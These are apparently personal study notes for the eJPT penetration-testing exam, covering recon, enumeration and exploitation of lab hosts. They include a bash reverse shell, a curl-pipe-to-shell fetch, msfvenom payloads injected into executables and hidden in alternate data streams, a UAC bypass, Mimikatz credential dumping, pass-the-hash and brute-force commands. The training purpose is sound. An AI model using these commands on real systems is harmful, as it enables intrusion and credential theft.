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This repo has all the notes that I took during my preparation for the eJPT exam.

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eJPT-CheatSheet

Note These are all the notes I took while following the INE course for eJPT certification, I strongly think everything you need to pass the exam is in this 'cheatsheet'.

Info about eJPT certification here.

Table Of Contents

eJPT Cheat Sheet

bloodhound

bloodhound-python -dc-ip 10.10.11.174 -d support.htb -u 'support' -p 'Ironside47pleasure40Watchful' -c all

nc

nc -lvnp 9001
import os; os.system("bash -c 'bash -i >& /dev/tcp/<my-ip>/9001 0>&1'")

crackstation

https://crackstation.net/
https://www.exploit-db.com/
https://www.rapid7.com/db/

This URL is use to search exploit publicly

  • Also use searchsploit for offline search of exploit
# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim
dirsearch -u linkvortex.htb -t 50 -i 200
dirsearch -u underpass.htb/daloradius/app -t 50 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
git-dumper http://10.13.37.14/.git/ dump_new
fuf -u http://linkvortex.htb/ -w ./fuzzDicts/subdomainDicts/main.txt -H "Host:FUZZ.linkvortex.htb"  -mc 200
ffuf -w /home/naahl/Desktop/subdomain.txt -u http://titanic.htb/ -H  "Host:FUZZ.titanic.htb" -fc 301
feroxbuster -u http://nocturnal.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
ffuf -w /home/naahl/Desktop/xato-net-10-million-usernames-dup.txt -u 'http://nocturnal.htb/view.php?username=FUZZ&file=bad.odt' -fw 1167
ffuf -c -w /home/naahl/Desktop/wordlist.txt -u "http://10.13.37.11/backups/backup_2025042015FUZZ.zip" -mc 200 -fc 40

list of internal service running

netstat -tulpn

port forwarding

ssh -L 8888:127.0.0.1:8080 tobias@nocturnal.htb
find / -writable -type d 2>/dev/null

find all writable directories on the box

ln -s /root/root.txt root.txt

create a symlink

Find IP address of a website:

service postgresql start
ls -al /usr/nmap/scripts/ | grep -e "snmp"

search a specific script

host <url>

If you see two addresses or ip addresses than that means the website is behind some kind of proxy or firewall like the cloud flare.

WhatWeb

whatweb <url>

Whois recon:

whois <url>

The whois command retrieves registration details about a domain name, such as the owner, contact information, and the domain's creation and expiration dates.

DNS Recon

dnsrecon -d <domain>

DNS Dumpster can be used to perform the same function.

WAF w00f command:

wafw00f <url> -a

Will tell whether the web application is protected by a firewall or not. And if its is protected by the firewall than what solution is being used.

Sublist3r

sublist3r -d <domain>

Looks for subdomains on different search engines.

Google Dorking:

site:<domain>

This limits all the searches to a particular domain only. Will also show some subdomains of the particular domain used.

site:<domain> inurl:<keyword> 
site:ine.com inurl:admin

This can be used to search a particular key word within the domain URL.

site:*.<domain>

This would not show the domain it self but its subdomains.

site:*.<domain> intitle:<keyword>

This will search subdomains with a particular key word in its tittle.

site:*.<domain> filetype:<type>
site:*.ine.com filetype:PDF

Searches for PDFs (particular file type) in subdomains.

intitle:index of

This basically tracks the directory listing vulnerability.

cache:<domain>

This basically shows the older version of the website.

inurl:auth_user_file.txt

This would enlist all the website with the same .txt file. Such files can be used for storing user authentication passwords.

inurl:wp-config.bak

Can be used to find WordPress Backup Config Files. Can contain passwords for MySQL servers.

theHarvester:

theharvester -d <domain> -b google,yahoo,<any-other>

Looks for emails and names on a particular website.

Zoon Transfer:

dnsenum <domain>

dnsenum can be used to perform a DNS Brute-force as well.

dig axfr @<name-server> <domain>
dig axfr @nsztm1.digi.ninja zonetransfer.me

axfr is the switch for zone transfer.

fierce -dns <domain>

It can also be used for performing a DNS Brute-force.

Host Discovery using Nmap:

sudo nmap -sn <ip-address>/<sub-net-if-any>

Pings all the IPs with in the sub-net and shows only ones that ping back.

sudo netdiscover -i <interface> -r <ip-address>/<sub-net-if-any>
sudo netdicover -i eth0 -r 192.168.3.0/24

-i is used for the interface and -r is used for the ip-address range. It uses ARP to scan the hots.

Curl

curl -I http://target.ine.local

Analyze the response for server details or unusual information.

Nmap scans:

nmap...Then remember:

  • -sS: SYN scan (Stealth scan, faster than TCP connect)
  • -sT: TCP connect scan (Standard TCP scan)
  • -sU: UDP scan (Scan for open UDP ports)
  • -sA: ACK scan (Checks firewall rules filtered or not)
  • -sP or -sn: Ping scan (Find online hosts)
  • -sV: Version detection (Identify services/version info)
  • -sC: Default script scan (Runs default NSE scripts)
  • -O: OS detection (Guess the operating system)
  • -p: Port selection (Scan specific ports)
  • -F: Fast scan (Scans fewer ports for speed)
  • -f Fragmentation
  • -A: Aggressive scan (OS detection, version detection, script scanning, and traceroute)
  • -D Decoy.
  • -T<0-5>: Timing template (Adjusts scan speed, from 0 (paranoid) to 5 (insane))
    • T0: Paranoid timing, performing scans extremely slowly to avoid detection.
    • T1: Sneaky timing, still slow but less extreme than T0.
    • T2: Polite timing, useful for avoiding overwhelming a network.
    • T3: Default timing, balanced between speed and stealth.
    • T4: Aggressive timing, faster but more likely to trigger alarms.
    • T5: Insane timing, very fast and noisy.
  • -oN: Output in normal format (Saves scan output to a file)
  • -oX: Output in XML format (Saves scan output in XML format)
  • -oG: Greppable output (Saves scan output in a grep-friendly format and machine-readable format)
  • -oA: Output in all formats (-oN, -oX, -oG combined)
  • -v: Verbose mode (Displays more information during the scan)
  • -n: No DNS resolution (Skips DNS resolution)
  • -6: IPv6 scanning (Scan using IPv6 addresses)
  • -R: Always resolve DNS (Resolves domain names, even if not needed)
  • -Pn: No ping (Skips host discovery, assumes hosts are up)
  • -PS SYN ping.
  • -iL: Input from a file (Scans hosts listed in a file)
  • -oX -: Output to stdout in XML format (Useful for piping into other tools)
  • --host-timeout <time>: Host is skipped if it doesn't responds in the set time periord.
  • --script: Run specific NSE scripts (For customized scans)
  • --traceroute: Perform a traceroute (Maps the route to the host)
  • --reason: Display the reason for each host/port state
  • --osscan-guess: OS Version probability.

Example:

nmap -sS -p 1-100,443 192.168.1.13,14

Tip: Use --reason to show the explanation of why a port is marked open or closed
Tip: Use --open to show only open, open filtered, and unfiltered ports.

nmap -T4 -sS -sV --version-intensity 8 <ip-address>

In Nmap, the --version-intensity option controls the intensity of version detection scanning. It takes a value from 0 to 9, where: 0: Lightest intensity, meaning Nmap will try very few probes to determine the service version. 9: The highest intensity, meaning Nmap will use the most comprehensive set of probes to determine the service version.

nmap -sV -sC 192.168.1.1

TCP Quick Scan

nmap -sV -sC -p- 192.168.1.1

TCP Full Scan

nmap -sV -sU 192.168.1.1

UDP Quick Scan

nmap -sC -p 27017 192.168.1.13 | less

Get info on a particular service:

NMAP Scripts are all available /usr/share/namp/scripts.

nmap --script=<script-name> <ip-address>

Basic command to run any script.

nmap --script=<keyword-*> <ip-address>
nmap --script=ftp-* 10.10.10.10

It is used to run all the scripts related to any keyword.

nmap --mtu <size> <target>
nmap --mtu 32 example.com

The --mtu flag allows you to set a custom Maximum Transmission Unit (MTU) for the packets that Nmap sends during scanning.

nmap demo.ine.local -p 177 -A

We can perform an Nmap port scan on the target system to identify whether the BIND DNS server is open.

nmap 10.0.24.0/20 --open

This command scans the subnet and shows only the open ports of the target.

nmap -p 443 --script ssl-heartbleed <ip-address>

This checks that whether the host machine is vulnerable to Heat Bleed Vulnerability or not.

nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 <ip-address>

Log4J Discovery script

nmap -sV --script=banner <target-IP>

This is use for banner grabbing

Payload:

msfvenom --list payloads

show the list of payloads

msfvenom --list formats

this is use to show the formats of payload

  • Window payload
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=<my-ip> LPORT=1234 -f exe > payload.exe

msfvenom payload. x86 for 32 bit and x64 is for 64 bit

  • Linux payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<my-ip> LPORT=1234 -f elf > payload
chmod +x payload
sudo python -m SimpleHTTPServer 80

first open the directory which you have a payload and serve that directory in http server to download payload in target system. open target system browser http://<my-ip>:80.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <my-ip>
set LPORT 1234
run

After deliver payload

payload encoding

msfvenom --list encoders

show the list of encoding

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<my-ip> LPORT=1234 -e x86/shikata_ga_nai -f exe > payload.exe

add -i 10 before -e mean that we encode the payload 10 time mean 10 iteration

inject payload in executable file

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<my-ip> LPORT=1234 -i 10 -e x86/shikata_ga_nai -f exe -x <path of file that you want to inject>.exe > payload.exe

best if winRar https://www.win-rar.com/predownload.html?&L=0&Version=32bit to inject the payload in this

hide payload in window

cd Desktop
notepad test.txt:secret.txt

in window cmd

cd Temp
type payload.exe > windowing.txt:winpeas.exe
start windowing.txt:winpeas.exe

for payload hide. if we hide this in some file it show storage 0

mklink wupdate.exe C:\Temp\windowing.txt:winpeas.exe
wupdate

if it not start direct then we this to create symbolic link and then start

Setup of autopwn

cd Downloads
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db_autopwn.rb
sudo mv db_autopwn.rb /usr/sharemetasploit-framework/plugin/
<on kali in msfconsole>
load db_autopwn
db_autopwn -p -t -PI 445

it give us all the exploit of that specific port

TCP Commands:

netstat -antp        /linux
netstat -ano         /windows

Lists down all the current tcp connections.

Ping Sweep:

ping -b -c 4 <broadcast IP address>
fping -a -g <IP address>/24

Ping Sweep: A technique to identify active hosts in a network range by sending ICMP Echo Requests. ICMP Echo Requests: Type 8 ICMP Echo Reply: Type 0

SMB Commands:

nmap -p445 --script smb-protocols demo.ine.local
nmap -p445 --script smb-security-mode demo.ine.local
nmap -p445 --script smb-enum-sessions demo.ine.local
nmap -p445 --script smb-enum-sessions --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-shares demo.ine.local
nmap -p445 --script smb-enum-shares --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-users --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-server-stats --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-domains --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-groups --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-groups --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-services --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
nmap -p445 --script smb-enum-shares,smb-ls --script-args smbusername=administrator,smbpassword=smbserver_771 demo.ine.local
net use Z: \\<ip-address>\C$ smbserver_771 /user:administrator

To mount the SMD user from the CMD.

smbmap -u administrator -p smbserver_771 -d . -H demo.ine.local
smbmap -H demo.ine.local -u administrator -p smbserver_771 -x 'ipconfig'
smbmap -H demo.ine.local -u Administrator -p 'smbserver_771' -L
smbmap -H demo.ine.local -u Administrator -p 'smbserver_771' -r 'C$'
smbmap -H demo.ine.local -u Administrator -p 'smbserver_771' --upload '/root/backdoor' 'C$\backdoor'
smbmap -H demo.ine.local -u Administrator -p 'smbserver_771' -r 'C$'
smbmap -H demo.ine.local -u Administrator -p 'smbserver_771' --download 'C$\flag.txt'
/auxiliary/scanner/smb/smb_version

This MSF Module can be used to scan the SAMBA or SMB version of a machine

/auxiliary/scanner/smb/smb_version

This module is used to check whether it supports SMB2 or not.

/auxiliary/scanner/smb/smb_enumshares

It can used to enumerate shares.

/auxiliary/scanner/smb/pipe_auditor

This is used to enumerate name pipes or the communications pipes.

nmblookup -A <ip-address>

This can be used to look up SMB connections and Groups.

smbclient -L <ip-address> -N

Now SMB Client can be used to connect to those sessions and the -N Flag looks for the Null sessions.

smbclient //<>ip-address>/<user> -N

This allows us to connect to a particular user without any password.

rpcclient -U "" -N <ip-address>

RPC Client is used to connect to a server and in this command it is connected with a null user and no password.

srvinfo: This rpc command is used to find the server info. enumdomusers: This rpc commands is used to find users in the server. lookupnames <keyword>: It is used to look for a specific username. enumdomgroups: It is used list down all the groups.

enum4linux -o <ip-address>
enum4linux -U <ip-address>
enum4linux -U <ip-address>
enum4linux -G <ip-address>

enum4linux in a Linux enum tool and in the above given command we are doing an operating system scan, second one is performing a user scan, the third one is looking for shares, and the last one lists all the user groups.

smbclient -L \\\\<IP>\\ -U <username>

show all the shares

smbclient \\\\<IP>\\<share-name> -U <username>

enter into account of admin in that share

use /auciliary/scanner/smb/smb_login
show options
set RHOST <ip-address>
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set smb_user <user-name>
exploit

These set of commands from metasploit can be used to brute force a particular SMB user.

hydra -l <user-name> -P /usr/share/wordlists/rockyou.txt <ip-address> smb

This hydra command is used brute force a particular SMB user.

crackmapexec smb <dc-ip> -u <user> -p <password> --rid-brute
netexec smb <dc-ip> -u <user> -p <password> --users --rid-brute

for no cred enumeration use username as “guest” and password as blank

evil-winrm -i <ip> -u <user> -p '<pass>'

evil-winrm to login

FTP Commands:

hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <ip-address> ftp

It is used to brute force users and their passwords on FTP.

ftp <ip-address>

Can be used to login.

nmap <ip-address> --script-args userdb=/root/users -p 21

Note:

root/users has the user(s) that I am sure are present in the system.

Nmap can be also used to brute force user(s) password(s).

SSH Commands:

 ssh <user-name>@<ip-address>

SSH Login

nmap --script ssh2-enum-algos demo.ine.local

The script enumerates the supported key exchange, encryption, MAC, and compression algorithms for SSH-2 on the target host.

nmap --script ssh-hostkey --script-args ssh hostkey=full demo.ine.local

The script retrieves and displays the full SSH host keys and fingerprints of the target server for security auditing purposes.

nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=<user-name>" demo.ine.local

The script checks and lists the supported SSH authentication methods (e.g., password, public key) for the specified user on the target host.

hydra -l <uer-name> -P /usr/share/wordlists/rockyou.txt

SSH Brute force using hydra on a specific user.

nmap <ip-address> -p 22 --script ssh-brute --script-args userdb=/root/user

Note:

root/users has the user(s) that I am sure are present in the system.

Nmap can be also used to brute force user(s) password(s).

use /auxiliary/scanner/ssh/ssh_login
show options
set RHOST <ip-address>
set userpass_file /usr/share/wordlists/metasploit/root_userpass.txt
set STOP ON SUCCESS true
set verbose true
exploit

These set of commands from metasploit can be used to brute force a particular SSH user.

HTTP Commands:

whatweb <ip-address>

Running what web tool to find all possible information about the target server.

http <ip-address>

We could also use the httpie tool to gather target server information.

dirp http://<ip-address>

Running the dirb tool on the target server port 80 to discover the web server’s directories and subdirectories.

browsh --startup-url http://<ip-address>/<sub-domain>

This utility is useful when we don’t have a browser i.e. Firefox, Chrome, etc. to access the target application and we have to use the terminal to access the web application.

nmap --script http-enum -sV -p 80 <ip-address>

The command scans port 80 using Nmap to identify HTTP service versions and enumerate potential web directories and files.

nmap --script http-headers -sV -p 80 <ip-address>

The command scans port 80 using Nmap to detect service versions -sV and retrieve HTTP headers using the http-headers script

nmap --script http-methods --script-args http-methods.url-path=/webdav/ <ip-address>

The command uses Nmap to scan and check which HTTP methods are allowed on the /webdav/ URL path by using the http-methods script with the specified script arguments.

nmap --script http-webdav-scan --script-args http-methods.url-path=/webdav/ demo.ine.local

The command uses Nmap to scan for WebDAV vulnerabilities by checking the /webdav/ URL path using the http-webdav-scan script, with the path specified via script arguments.

auxiliary/scanner/http/apache_userdir_enum
auxiliary/scanner/http/brute_dirs
auxiliary/scanner/http/dir_scanner
auxiliary/scanner/http/dir_listing
auxiliary/scanner/http/http_put
auxiliary/scanner/http/files_dir
auxiliary/scanner/http/http_login
auxiliary/scanner/http/http_header
auxiliary/scanner/http/http_version
auxiliary/scanner/http/robots_txt
use auxiliary/scanner/http/http_version
show options
set RHOST <ip-address>
run

This can be used to scan an Apache server.

use auxiliary/scanner/http/brute_dirs
show options
set RHOST <ip-address>
run

This can be used to find sub domains

use auxiliary/scanner/http/robots_txt
show options
set RHOST <ip-address>
run

Will show the data of robot.txt

curl http://demo.ine.local/

The curl http://demo.ine.local/ command sends an HTTP GET request to the specified URL (http://demo.ine.local/) and returns the response from the server, which typically includes the HTML content of the webpage.

lynx http://demo.ine.local

The lynx http://demo.ine.local command uses the Lynx web browser, a text-based browser, to access and display the content of the specified URL (http://demo.ine.local) in the terminal.

dirb http://<ip-address> /usr/share/metasploit-framework/data/wordlists/directory.txt

The command runs dirb, a web content scanner, against the specified IP address using a wordlist from Metasploit (directory.txt) to discover hidden directories and files on the target web server.

use exploit/windows/http/rejetto_hfs_exec 
show options
set RHOST <ip-address>
exploit

This module can be used to exploit rejetto http file server.

use exploit/windows/http/badblue_passthru
show options
set RHOST <ip-address>
exploit

This can be used to exploit bad blue service.

MYSQL Commands:

mysql -h <ip-address> -u root

This command can be used to connect to mysql through a particular user without any specific password:

show databases;: This command is used to show data bases. use <name>;: This command is used to use a specific data base. show tables;: This command can be used to show the elements of Database.

SELECT * FROM table_name;

This command retrieves all the data from a specific table.

msfconsole -q
use auxiliary/scanner/mysql/mysql_schemadump
set RHOSTS <ip-address>
set USERNAME root
set PASSWORD ""
exploit

Dump the schema of all databases from the server using metasploit module.

use auxiliary/scanner/mysql/mysql_writable_dirs
set DIR_LIST /usr/share/metasploit framework/data/wordlists/directory.txt
set RHOSTS <ip-address>
set VERBOSE false
set PASSWORD ""
exploit

Tells if there are any writeable directories or not.

use auxiliary/scanner/mysql/mysql_file_enum
set RHOSTS <ip-address>
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
set PASSWORD ""
exploit

Tells about any readable files.

select load_file("/etc/shadow");

This command reads the contents of the system's /etc/shadow file, which stores encrypted password information for Linux user accounts.

use auxiliary/scanner/mysql/mysql_hashdump
set RHOSTS <ip-address>
set USERNAME root
set PASSWORD ""
exploit

This is used to list all the users and their passwords hashes.

nmap --script=mysql-info -p 3306 <ip-address>

The command retrieves basic information about the MySQL service running on port 3306 of the target host, including the MySQL version, protocol version, and server status.

nmap --script=mysql-users --script-args="mysqluser='root',mysqlpass=''" -p 3306 <ip-address>

The command attempts to enumerate MySQL user accounts by connecting to the MySQL service on port 3306 of the target host using the provided credentials.

nmap --script=mysql-databases --script-args="mysqluser='root',mysqlpass=''" -p 3306 <ip-address>

The command attempts to list all the MySQL databases on the target host by connecting to the MySQL service running on port 3306 using the provided credentials.

nmap --script=mysql-variables --script-args="mysqluser='root',mysqlpass=''" -p 3306 <ip-address>

The command retrieves and displays MySQL server variables and settings by connecting to the MySQL service on port 3306 of the target host using the provided credentials. These variables include configuration options, server status, and environment settings.

nmap --script=mysql-audit --script-args "mysql-audit.username='root',mysql-audit.password='',mysql-audit.filename='/usr/share/nmap/nselib/data/mysql-cis.audit'" -p 3306 <ip-address>

The command audits the MySQL server's security settings on port 3306 of the target host by comparing them against a predefined benchmark using the provided credentials.

nmap --script mysql-dump-hashes --script-args="username='root',password=''" -p 3306 <ip-address>

The command attempts to dump MySQL password hashes from the server on port 3306 using the provided credentials (root with an empty password).

nmap --script=mysql-query --script-args="query='select count(*) from books.authors;',username='root',password=''" -p 3306 <ip-address>

The command executes the SQL query SELECT COUNT(*) FROM books.authors; on the MySQL server at demo.ine.local using the provided credentials (root with an empty password).

use auxiliary/scanner/mysql/mysql_login
set RHOSTS <ip-address>
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set STOP_ON_SUCCESS true
exploit

Password brute forcing using metasploit

hydra -l root -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt <ip-address> mysql

Brute force using hydra.

nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 <ip-address>

The command retrieves NTLM authentication information from the Microsoft SQL Server instance running on port 1433 of the target IP.

nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Deskt p/wordlist/100-common-p asswords.txt <ip-address>

Brute Force using NMAP.\

nmap -p 1433 --script ms-sql-empty-password <ip-address>

Login through empty password.

nmap -p 1433 --script ms-sql-query --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-query.query="SELECT * FROM master..syslogins" <ip-address> -oN output.txt gvim output.txt

The command runs a SQL query (SELECT * FROM master..syslogins) on the Microsoft SQL Server instance using the admin credentials with password anamaria, saves the output to output.txt, and then opens this file in gvim.

nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=admin,mssql.password=anamaria <ip-address>

The command retrieves password hashes from the Microsoft SQL Server using the provided admin credentials with password anamaria.

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="ipconfig" <ip-address>

The command executes the ipconfig command on the Microsoft SQL Server at <ip-address> using the admin credentials with password anamaria and the xp_cmdshell stored procedure.

nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=admin,mssql.password=anamaria,ms-sql-xp-cmdshell.cmd="type c:\flag.txt" <ip-address>

The command runs type c:\flag.txt on the Microsoft SQL Server at using the admin credentials with password anamaria, which attempts to read and display the contents of c:\flag.txt via the xp_cmdshell procedure.

use auxiliary/scanner/mssql/mssql_login 
set RHOSTS <ip-address> 
set USER_FILE /root/Desktop/wordlist/common_users.txt 
set PASS_FILE /root/Desktop/wordlist/100-common-passwords.txt 
set VERBOSE false exploit

MSSQL brute force using metasploit.

use auxiliary/admin/mssql/mssql_enum 
set RHOSTS <ip-address>
exploit

Running MSSQL enumeration module to find all possible information.

use auxiliary/admin/mssql/mssql_enum_sql_logins 
set RHOSTS <ip-address> 
exploit

Extract all MSSQL users.

use auxiliary/admin/mssql/mssql_exec 
set RHOSTS <ip-address>
set CMD whoami 
exploit

Execute a command using mssql_exec module.

use auxiliary/admin/mssql/mssql_enum_domain_accounts 
set RHOSTS <ip-address> 
exploit

This module dumps the information such as Windows domain users, groups, and computer accounts

Exploiting Microsoft IIA WebDAV:

nmap --script http-enum -sV -p 80 demo.ine.local

check the webdev

hydra -L /usr/share/metasploit/common_user.txt -P /usr/share/metasploit/common_passwords.txt <ip-address> http-get /webdav/

Hydra can be used to brute force webdav directory if the authentication is enabled.

davtest -url http://<ip-address>/webdav

Can be used to test if webdav is present or is accessible without authentication. If it isn't then it will show an error.

davtest -auth <user-name>:<password> -url http://<ip-address>/webdav

This will perform a check and will tell what type of files can be uploaded or executed over the server.

cadaver http://<ip-address>/webdav

Cadaver can be used to upload files on the server and when you will type this command you will be than asked for a username and a password. After the correct creds. you will get the access to a pseudo shell through which you will be able to interact with the server.

put /usr/share/webshells/asp/webshell.asp

This command can be used in the pseudo shell to upload the web shell on to the server.

/usr/share/webshells

This directory has different web shells with in Kali Linux.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<local_ip> LPORT=1234 -f asp > <output-file-name>.asp

msfvenom command to generate a .asp shell code.

use multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOTS <local_ip>
set LPORT 1234
exploit

Msfconsole listener setup.

use exploit/windows/iis/iis_webdav_upload_asp
show options
set HttpUsername <username>
set HttpPassword <password>
set RHOST <ip-address>
set PATH /webdav/metasploit.asp
exploit

This can be used to automate the whole process of uploading and exploitation.

SMB Exploitation:

use auxiliary/scanner/smb/smb_login
show options
set RHOST <ip-address>
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
exploit

This module can be used to brute force users on SMB.

psexec.py Administrator@<ip-address> cmd.exe

It will ask for the password after this command.

use exploit/windows/smb/psexec
show options
set RHOST <ip-address>
set SMBUser <username>
set SMBPass <password>
exploit

If you know the user and pass then it will automates the uploading and exploitation phase and gives you a meterpreter shell.

Exploiting MS17-010

nmap -sV -p 445 --script=smb-vuln-ms17-010 <ip-address>

Scans the machine for MS17-010 Vulnerability.

git clone https://github.com/3ndG4me/AutoBlue-MS17-010

This tool can be used to exploit the vulnerability manually.

use exploit/windows/smb/ms17_010_eternalblue
show options
set LHOST <host-address>
set RHOST <ip-address>
exploit

RDP Exploitation:

search auxiliary/scanner/rdp/rdp_scanner
show options
set RHOST <ip-address>
set RPORT <port-number>
run

This will tell whether a specific port is running RDP or not.

hydra -L /usr/share/metasploit/common_user.txt -P /usr/share/metasploit/unix_passwords.txt rdp://<ip-address> -s 3333

Command to brute force RDP.

xfreerdp /u:administrator /p:<password> /v:<ip-address>:3333

Command can be used to connect to RDP.

Exploit Blue Keep:

use auxiliara/scanner/rdp/cve_2019_0708_bluekeep
show options
set RHOST <ip-address>
run

It is a Blue Keep Vulnerability scanner.

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
show options
set RHOST <ip-address>
show target 
set target <target-number>
exploit

Module can be used to exploit the vulnerability and then get access.

Exploit Bad Blue

use exploit/windows/http/badblue_passthru
set RHOSTS <local-IP>
set target BadBlue\ EE\ 2.7\ Universal
run

Exploiting WinRM:

crackmapexec winrm <ip-address> -u administrator -p /usr/share/metasploit/unix_passwords.txt

WinRM brute force command using crackmapexec.

crackmapexec winrm <ip-address> -u administrator -p <password> -x "<any command>"

This command can be used to execute arbitrary command on the windows machine.

eveil-winrm.rb -u administrator -p '<password>' -i <ip-address>

This will automatically provide us a command shell session.

use exploit/windows/winrm/winrm_script_exec
show options
set RHOST <ip-address>
set FORCE_VBS true
set USERNAME administrator
set PASSWORD <password>
exploit

This will provide us with a shell session as well.

use auxiliary/scanner/winrm/winrm_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
set PASSWORD anything
exploit

Can be used to brute force the creds.

use auxiliary/scanner/winrm/winrm_auth_methods
set RHOSTS demo.ine.local
exploit

Checking WinRM supported authentication method using an auxiliary module.

use auxiliary/scanner/winrm/winrm_cmd
set RHOSTS demo.ine.local
set USERNAME administrator
set PASSWORD tinkerbell
set CMD whoami
exploit

Can be used to execute remote commands.

Windows Kernel Exploits:

Note:

Everything demonstrated here after is basically done after the initial foothold.

This is a built in meterpreter command i.e. getsystem that uses some techniques to escalate the privileges. It can used in some cases as well.

use post/multi/recon/local_exploit_suggester
show options
set SESSION <session-ID>
run

It will tell the exploit modules that you can try to elevate your privileges.

use exploit/windows/local/ms16_014_wmi_recv_notif
show options
set SESSION <session-ID>
set LPORT <port-number>
exploit

It can be used to escalate privileges in vulnerable windows 7 machine.

git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester

This tool compares a target path levels with Microsoft vulnerability database in order to detect missing patches on the target that can be then exploited.

How to use:

First get the system info from the meterpreter session by shell > systeminfo. Then copy this info in a text file and then pass this as an argument to the tool.

Step 01:

$ ./windows-exploit-suggester.py --update
[*] initiating...
[*] successfully requested base url
[*] scraped ms download url
[+] writing to file 2014-06-06-mssb.xlsx
[*] done

Step 02:

install python-xlrd, $ pip install xlrd --upgrade

Step 03:

./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

Bypassing UAC with UACMe:

UAC STANDS FOR USER ACCOUNT CONTROL

use exploit/windows/http/rejetto_hfs_exec

for session

pgrep explorer
migrate <process-ID>
getuid
shell
net user
net localgroup administrators
get privs

This command can be used to switch to the 64 Bit meterpreter session.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.31.2 LPORT=4444 -f exe > 'backdoor.exe'

Generating malicious executable using msfvenom.

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <my-IP>
set LRORT 1234

After create session

cd C://
mkdir Temp
cd Temp
upload backdoor.exe
upload /root/Desktop/tools/UACME/Akagi64.exe
shell
.\Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe
/root/Desktop/tools/UACME/Akagi64.exe

Location of the Akagi exploit that is used to bypass UAC.

Akagi64.exe 23 C:\Users\admin\AppData\Local\Temp\backdoor.exe

Akagi command is used to run the exploit by bypassing the UAC.

ps -S lsass.exe
migrate <process-ID>

After the exploitation and meterpreter session migrate to the lsass.exe process.

Access Token Impersonation:

Note:

Everything demonstrated here after is basically done after the initial foothold.

YOU HAVE TO PERFROM THE FOLLOWING FUNCTION IN THE METERPRETER SESSION. YOU CAN TO FOLLOWING IF AND ONLT IF YOU HAVE THE SeImpersonationPrivilages IN THE getprivs SECTION

load incognito
list_tokens -u
impersonate_token "<group-name>\Administrator"
getuid
pgrep explorer
migrate <process-id>

IF YOU DONT FIND ANY PRIVILAGED TOKENS IN BOTH DELEGATION TOKENS AND IMPERSONANTION TOKENS THAN YOU HAVE TO USE THE POTATO ATTACK

Searching for Passwords In Windows Configuration Files:

YOU NEED ELIVATED PRIVILEGES TO DUMP HASHES

C:\\Windows\Panther\Unattend.xml >> in base64
C:\\Windows\Panther\Autounattend.xml

These are the configuration files that contain the user accounts and their passwords along side system configuration. In unattend the passwords are stored in base64.

Dumping hashes with Mimikatz:

Note:

Everything demonstrated here after is basically done after the initial foothold.

migrate -N lsass.exe
load kiwi
?
creds_all
lsa_dump_sam
lsa_dump_secrets

Dumping passwords hashes using kiwi.

upload usr/share/windows-resources/mimikatz/mimikatz.exe
shell
dir
mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonpasswords

Command can be used to upload the mimikatz.exe file and then run it in the windows shell.

Pass-The-Hash:

Note:

Everything demonstrated here after is basically done after the initial foothold and after getting the hashes from the kiwi module. Make sure to make a file to store all the hashes in it.

use exploit/windows/smb/psexec
show options
set LPORT <some-new-port>
set RHOST <ip-address>
set SMBUser Administrator <any-other-user-can-be-used>
set SMBPass <NTLM-HASH:LM-HASH>
set target Native\ upload
exploit

Via these commands if everything goes smoothly you'll have a successful pass-the-hash attack.

crackmapexec smb <ip-address> -u Administrator -H "<NTLM-HASH>" -x "any-command"

Pass-the-hash attack using crackmapexec.

